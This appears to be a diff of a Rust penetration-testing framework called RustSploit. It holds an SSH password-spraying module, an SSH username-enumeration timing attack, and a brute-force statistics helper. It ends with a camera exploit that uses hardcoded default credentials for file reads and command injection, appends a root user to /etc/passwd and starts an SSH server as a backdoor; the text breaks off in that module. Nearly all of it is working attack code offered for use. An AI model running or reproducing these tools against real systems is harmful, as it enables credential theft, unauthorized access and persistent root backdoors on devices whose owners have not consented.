password: &str,
|
||||
threads: usize,
|
||||
timeout_secs: u64,
|
||||
) -> Vec<SprayResult> {
|
||||
let total = targets.len() * usernames.len();
|
||||
println!("{}", format!("[*] Spraying '{}' against {} targets, {} users ({} total attempts)",
|
||||
password, targets.len(), usernames.len(), total).cyan());
|
||||
|
||||
let results = Arc::new(tokio::sync::Mutex::new(Vec::new()));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let semaphore = Arc::new(Semaphore::new(threads));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
|
||||
// Progress reporter
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
while !stop_clone.load(Ordering::Relaxed) {
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Spray tasks
|
||||
let mut handles = Vec::new();
|
||||
|
||||
for (host, port) in targets {
|
||||
for user in usernames {
|
||||
let semaphore = Arc::clone(&semaphore);
|
||||
let results = Arc::clone(&results);
|
||||
let stats = Arc::clone(&stats);
|
||||
let host = host.clone();
|
||||
let user = user.clone();
|
||||
let password = password.to_string();
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = semaphore.acquire().await.unwrap();
|
||||
|
||||
let host_clone = host.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = password.clone();
|
||||
|
||||
let result = spawn_blocking(move || {
|
||||
try_ssh_auth(&host_clone, port, &user_clone, &pass_clone, timeout_secs)
|
||||
}).await;
|
||||
|
||||
match result {
|
||||
Ok(Ok(true)) => {
|
||||
stats.record_attempt(true, false);
|
||||
let cred = SprayResult {
|
||||
host: host.clone(),
|
||||
port,
|
||||
username: user.clone(),
|
||||
password: password.clone(),
|
||||
};
|
||||
println!("\r{}", format!("[PWNED] {}:{} @ {}:{}", user, password, host, port).red().bold());
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
results.lock().await.push(cred);
|
||||
}
|
||||
Ok(Ok(false)) => {
|
||||
stats.record_attempt(false, false);
|
||||
}
|
||||
_ => {
|
||||
stats.record_attempt(false, true);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for all tasks
|
||||
for handle in handles {
|
||||
let _ = handle.await;
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print summary
|
||||
stats.print_summary();
|
||||
|
||||
let results = results.lock().await;
|
||||
results.clone()
|
||||
}
|
||||
|
||||
/// Save results to file
|
||||
fn save_results(results: &[SprayResult], path: &str) -> Result<()> {
|
||||
let mut file = File::create(path)?;
|
||||
|
||||
writeln!(file, "# SSH Password Spray Results")?;
|
||||
writeln!(file, "# Generated by RustSploit")?;
|
||||
writeln!(file, "# Total: {} credentials found", results.len())?;
|
||||
writeln!(file)?;
|
||||
|
||||
for result in results {
|
||||
writeln!(file, "{}:{} @ {}:{}", result.username, result.password, result.host, result.port)?;
|
||||
}
|
||||
|
||||
println!("{}", format!("[+] Results saved to: {}", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Default usernames to spray
|
||||
const DEFAULT_USERNAMES: &[&str] = &[
|
||||
"root", "admin", "user", "administrator", "ubuntu",
|
||||
"guest", "test", "oracle", "postgres", "mysql",
|
||||
];
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Get password to spray
|
||||
let password = prompt("Password to spray").await?;
|
||||
if password.is_empty() {
|
||||
return Err(anyhow!("Password is required"));
|
||||
}
|
||||
|
||||
// Get port
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(DEFAULT_SSH_PORT);
|
||||
|
||||
// Get targets
|
||||
let mut targets = Vec::new();
|
||||
|
||||
// Add initial target
|
||||
let host = normalize_target(target);
|
||||
if !host.is_empty() {
|
||||
println!("{}", format!("[*] Initial target: {}", host).cyan());
|
||||
targets.extend(parse_targets(&host, port));
|
||||
}
|
||||
|
||||
// Get additional targets
|
||||
let more_targets = prompt("Additional targets (comma-separated, CIDR, or leave empty)").await?;
|
||||
if !more_targets.is_empty() {
|
||||
targets.extend(parse_targets(&more_targets, port));
|
||||
}
|
||||
|
||||
// Load from file?
|
||||
if prompt_yes_no("Load targets from file?", false).await? {
|
||||
let file_path = prompt("File path").await?;
|
||||
if !file_path.is_empty() {
|
||||
match load_list_from_file(&file_path) {
|
||||
Ok(file_targets) => {
|
||||
println!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan());
|
||||
for t in file_targets {
|
||||
targets.extend(parse_targets(&t, port));
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Deduplicate targets
|
||||
let unique: HashSet<_> = targets.into_iter().collect();
|
||||
let targets: Vec<_> = unique.into_iter().collect();
|
||||
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!("No targets specified"));
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if prompt_yes_no("Load usernames from file?", false).await? {
|
||||
let file_path = prompt("Username file path").await?;
|
||||
if !file_path.is_empty() {
|
||||
match load_list_from_file(&file_path) {
|
||||
Ok(loaded) => {
|
||||
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
|
||||
usernames.extend(loaded);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add default usernames?
|
||||
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true).await? {
|
||||
for user in DEFAULT_USERNAMES {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames to test"));
|
||||
}
|
||||
|
||||
// Get scan options
|
||||
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string()).await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_THREADS);
|
||||
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string()).await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
|
||||
println!();
|
||||
|
||||
// Run spray
|
||||
let results = password_spray(targets, &usernames, &password, threads, timeout).await;
|
||||
|
||||
// Save results?
|
||||
if !results.is_empty() && prompt_yes_no("Save results to file?", true).await? {
|
||||
let output_path = prompt_default("Output file", "ssh_spray_results.txt").await?;
|
||||
if let Err(e) = save_results(&results, &output_path) {
|
||||
println!("{}", format!("[-] Failed to save: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[*] Password spray complete. Found {} valid credentials.", results.len()).green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,315 @@
|
||||
//! SSH User Enumeration Module (Timing Attack)
|
||||
//!
|
||||
//! Based on SSHPWN framework - enumerates valid users via timing attack.
|
||||
//! Inspired by CVE-2018-15473 style attacks.
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::TcpStream,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use anyhow::Context;
|
||||
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const DEFAULT_SAMPLES: usize = 3;
|
||||
const TIMING_THRESHOLD: f64 = 0.3; // 300ms difference threshold
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSH User Enumeration (Timing Attack) ║".cyan());
|
||||
println!("{}", "║ Based on auth2.c timing differences ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ How it works: ║".cyan());
|
||||
println!("{}", "║ - Measures authentication response time for each username ║".cyan());
|
||||
println!("{}", "║ - Valid users often have different timing than invalid ║".cyan());
|
||||
println!("{}", "║ - Compares against baseline (known invalid user) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
fn normalize_target(target: &str) -> String {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.starts_with('[') && trimmed.contains(']') {
|
||||
trimmed.to_string()
|
||||
} else if trimmed.contains(':') && !trimmed.contains('.') {
|
||||
format!("[{}]", trimmed)
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Time a single authentication attempt
|
||||
fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -> Option<f64> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
let start = Instant::now();
|
||||
|
||||
let tcp = match TcpStream::connect_timeout(
|
||||
&addr.parse().ok()?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
) {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
|
||||
let mut sess = match Session::new() {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
sess.set_tcp_stream(tcp);
|
||||
if sess.handshake().is_err() {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Try authentication with invalid password
|
||||
let invalid_password = format!("invalid_{}_{}", std::process::id(), start.elapsed().as_nanos());
|
||||
let _ = sess.userauth_password(username, &invalid_password);
|
||||
|
||||
let elapsed = start.elapsed().as_secs_f64();
|
||||
Some(elapsed)
|
||||
}
|
||||
|
||||
/// Sample authentication timing for a username
|
||||
fn sample_auth_timing(host: &str, port: u16, username: &str, samples: usize, timeout_secs: u64) -> Option<f64> {
|
||||
let mut times = Vec::new();
|
||||
|
||||
for _ in 0..samples {
|
||||
if let Some(t) = time_auth_attempt(host, port, username, timeout_secs) {
|
||||
times.push(t);
|
||||
}
|
||||
// Small delay between samples
|
||||
std::thread::sleep(Duration::from_millis(100));
|
||||
}
|
||||
|
||||
if times.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Return average
|
||||
Some(times.iter().sum::<f64>() / times.len() as f64)
|
||||
}
|
||||
|
||||
/// Load usernames from file
|
||||
fn load_usernames(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
let usernames: Vec<String> = reader
|
||||
.lines()
|
||||
.filter_map(|l| l.ok())
|
||||
.map(|l| l.trim().to_string())
|
||||
.filter(|l| !l.is_empty() && !l.starts_with('#'))
|
||||
.collect();
|
||||
Ok(usernames)
|
||||
}
|
||||
|
||||
/// Enumerate valid users via timing attack
|
||||
pub async fn enumerate_users(
|
||||
host: &str,
|
||||
port: u16,
|
||||
usernames: &[String],
|
||||
samples: usize,
|
||||
timeout_secs: u64,
|
||||
threshold: f64,
|
||||
) -> Vec<String> {
|
||||
println!("{}", format!("[*] Enumerating users on {}:{} (timing attack)", host, port).cyan());
|
||||
println!("{}", format!("[*] Testing {} usernames with {} samples each", usernames.len(), samples).cyan());
|
||||
println!("{}", format!("[*] Timing threshold: {:.3}s", threshold).cyan());
|
||||
println!();
|
||||
|
||||
// Establish baseline with known-invalid user
|
||||
let baseline_user = format!("nonexistent_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
|
||||
println!("{}", "[*] Establishing baseline timing...".cyan());
|
||||
|
||||
let baseline = match sample_auth_timing(host, port, &baseline_user, samples, timeout_secs) {
|
||||
Some(t) => {
|
||||
println!("{}", format!("[*] Baseline timing: {:.3}s", t).cyan());
|
||||
t
|
||||
}
|
||||
None => {
|
||||
println!("{}", "[-] Failed to establish baseline - cannot reach target".red());
|
||||
return Vec::new();
|
||||
}
|
||||
};
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Testing usernames...".cyan());
|
||||
|
||||
let mut valid_users = Vec::new();
|
||||
|
||||
for (i, user) in usernames.iter().enumerate() {
|
||||
print!("\r[{}/{}] Testing: {} ", i + 1, usernames.len(), user);
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
|
||||
match sample_auth_timing(host, port, user, samples, timeout_secs) {
|
||||
Some(t) => {
|
||||
let diff = t - baseline;
|
||||
if diff.abs() > threshold {
|
||||
println!("\r{}", format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green());
|
||||
valid_users.push(user.clone());
|
||||
}
|
||||
}
|
||||
None => {
|
||||
// Connection failed, skip
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "=== Results ===".cyan().bold());
|
||||
if valid_users.is_empty() {
|
||||
println!("{}", "[-] No valid users found via timing attack".yellow());
|
||||
println!("{}", "[*] Note: This technique may not work on all SSH configurations".dimmed());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid user(s):", valid_users.len()).green());
|
||||
for user in &valid_users {
|
||||
println!(" - {}", user.green());
|
||||
}
|
||||
}
|
||||
|
||||
valid_users
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Default usernames to test
|
||||
const DEFAULT_USERNAMES: &[&str] = &[
|
||||
"root", "admin", "user", "test", "guest",
|
||||
"ubuntu", "www-data", "daemon", "bin", "sys",
|
||||
"nobody", "mysql", "postgres", "oracle", "ftp",
|
||||
"ssh", "apache", "nginx", "tomcat", "redis",
|
||||
];
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target);
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(DEFAULT_SSH_PORT);
|
||||
let samples: usize = prompt_default("Samples per username", "3").await?.parse().unwrap_or(DEFAULT_SAMPLES);
|
||||
let timeout: u64 = prompt_default("Connection timeout (seconds)", "10").await?.parse().unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
let threshold: f64 = prompt_default("Timing threshold (seconds)", "0.3").await?.parse().unwrap_or(TIMING_THRESHOLD);
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if prompt_yes_no("Load usernames from file?", false).await? {
|
||||
let file_path = prompt("Username file path").await?;
|
||||
if !file_path.is_empty() {
|
||||
match load_usernames(&file_path) {
|
||||
Ok(loaded) => {
|
||||
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
|
||||
usernames.extend(loaded);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add default usernames?
|
||||
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true).await? {
|
||||
for user in DEFAULT_USERNAMES {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames to test"));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[*] Will test {} usernames", usernames.len()).cyan());
|
||||
println!();
|
||||
|
||||
// Run enumeration
|
||||
let valid_users = enumerate_users(&host, port, &usernames, samples, timeout, threshold).await;
|
||||
|
||||
// Save results?
|
||||
if !valid_users.is_empty() && prompt_yes_no("Save valid users to file?", true).await? {
|
||||
let output_path = prompt_default("Output file", "valid_ssh_users.txt").await?;
|
||||
let mut file = File::create(&output_path)?;
|
||||
writeln!(file, "# Valid SSH users for {}:{}", host, port)?;
|
||||
for user in &valid_users {
|
||||
writeln!(file, "{}", user)?;
|
||||
}
|
||||
println!("{}", format!("[+] Saved to: {}", output_path).green());
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] SSH user enumeration complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,2 +1,3 @@
|
||||
pub mod generic; // <-- lowercase folder name
|
||||
pub mod camera;
|
||||
pub mod utils;
|
||||
|
||||
@@ -0,0 +1,119 @@
|
||||
use std::sync::atomic::{AtomicU64, Ordering};
|
||||
// use std::sync::Arc; // Removed unused import
|
||||
use std::time::Instant;
|
||||
use colored::*;
|
||||
use tokio::sync::Mutex;
|
||||
use std::collections::HashMap;
|
||||
|
||||
/// Standard statistics tracking for bruteforce modules
|
||||
pub struct BruteforceStats {
|
||||
total_attempts: AtomicU64,
|
||||
successful_attempts: AtomicU64,
|
||||
failed_attempts: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
retried_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
unique_errors: Mutex<HashMap<String, usize>>,
|
||||
}
|
||||
|
||||
impl BruteforceStats {
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful_attempts: AtomicU64::new(0),
|
||||
failed_attempts: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
retried_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
unique_errors: Mutex::new(HashMap::new()),
|
||||
}
|
||||
}
|
||||
|
||||
pub fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
pub fn record_success(&self) {
|
||||
self.record_attempt(true, false);
|
||||
}
|
||||
|
||||
pub fn record_failure(&self) {
|
||||
self.record_attempt(false, false);
|
||||
}
|
||||
|
||||
pub fn record_retry(&self) {
|
||||
self.retried_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
pub async fn record_error_detail(&self, msg: String) {
|
||||
let mut guard = self.unique_errors.lock().await;
|
||||
*guard.entry(msg).or_insert(0) += 1;
|
||||
}
|
||||
|
||||
pub async fn record_error(&self, msg: String) {
|
||||
// Increment error counter
|
||||
self.record_attempt(false, true);
|
||||
// Record detail
|
||||
self.record_error_detail(msg).await;
|
||||
}
|
||||
|
||||
pub fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let retries = self.retried_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {} retry | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
retries,
|
||||
rate
|
||||
);
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
}
|
||||
|
||||
pub async fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let retries = self.retried_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total attempts: {}", total);
|
||||
println!(" Successful: {}", success.to_string().green().bold());
|
||||
println!(" Failed: {}", failed);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Retries: {}", retries);
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
|
||||
}
|
||||
|
||||
let errors_guard = self.unique_errors.lock().await;
|
||||
if !errors_guard.is_empty() {
|
||||
println!("\n{}", "Top Errors:".bold());
|
||||
let mut sorted_errors: Vec<_> = errors_guard.iter().collect();
|
||||
sorted_errors.sort_by(|a, b| b.1.cmp(a.1));
|
||||
for (msg, count) in sorted_errors.into_iter().take(5) {
|
||||
println!(" - {}: {}", msg.yellow(), count);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -3,62 +3,70 @@
|
||||
// Author: d1g@segfault.net | Ported to Rust for RustSploit
|
||||
// PoC converted 1:1 from Bash to async Rust logic
|
||||
|
||||
// Cargo.toml:
|
||||
// [dependencies]
|
||||
// anyhow = "1.0"
|
||||
// reqwest = { version = "0.11", features = ["blocking", "rustls-tls"] }
|
||||
// md5 = "0.7.0"
|
||||
|
||||
use anyhow::{Result, anyhow};
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use md5;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
|
||||
/// Wraps/bracket-sanitizes IPv6 addresses (and leaves IPv4/hostnames alone)
|
||||
fn format_host(raw: &str) -> String {
|
||||
if raw.contains(':') {
|
||||
// strip any number of existing brackets, then wrap once
|
||||
let stripped = raw.trim_matches(|c| c == '[' || c == ']');
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
raw.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Send authenticated LFI request
|
||||
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
|
||||
let host = format_host(target);
|
||||
let host = normalize_target(target)?;
|
||||
let url = format!(
|
||||
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
|
||||
host, filepath
|
||||
);
|
||||
println!("[*] Sending LFI request to: {}", url);
|
||||
println!("{}", format!("[*] Sending LFI request to: {}", url).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
println!("[+] Status: {}", resp.status());
|
||||
println!("[+] Body:\n{}", resp.text().await?);
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] Status: {}", status).green());
|
||||
println!("{}", "[+] Body:".green());
|
||||
println!("{}", body);
|
||||
} else {
|
||||
println!("{}", format!("[-] Status: {}", status).red());
|
||||
println!("{}", format!("[-] Body:\n{}", body).red());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send authenticated RCE request with command injection
|
||||
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
let host = format_host(target);
|
||||
let host = normalize_target(target)?;
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
|
||||
host, cmd
|
||||
);
|
||||
println!("[*] Sending RCE request to: {}", url);
|
||||
println!("{}", format!("[*] Sending RCE request to: {}", url).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
println!("[+] Status: {}", resp.status());
|
||||
println!("[+] Body:\n{}", resp.text().await?);
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] Status: {}", status).green());
|
||||
println!("{}", "[+] Body:".green());
|
||||
println!("{}", body);
|
||||
} else {
|
||||
println!("{}", format!("[-] Status: {}", status).red());
|
||||
println!("{}", format!("[-] Body:\n{}", body).red());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Stage 1: Generate SSH key
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
println!("[*] Generating SSH key on target...");
|
||||
println!("{}", "[*] Stage 1: Generating SSH key on target...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
@@ -66,21 +74,21 @@ async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
// Compute lowercase-hex MD5 of the provided password
|
||||
let hash = format!("{:x}", md5::compute(password));
|
||||
println!("[*] MD5 hash of password: {}", hash);
|
||||
println!("{}", format!("[*] MD5 hash of password: {}", hash).cyan());
|
||||
|
||||
// Build the echo command to append to /etc/passwd
|
||||
let cmd = format!(
|
||||
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
|
||||
hash
|
||||
);
|
||||
println!("[*] Injecting root user into /etc/passwd...");
|
||||
println!("{}", "[*] Stage 2: Injecting root user into /etc/passwd...".yellow());
|
||||
exploit_rce(client, target, &cmd).await
|
||||
}
|
||||
|
||||
/// Stage 3: Start Dropbear SSH server
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
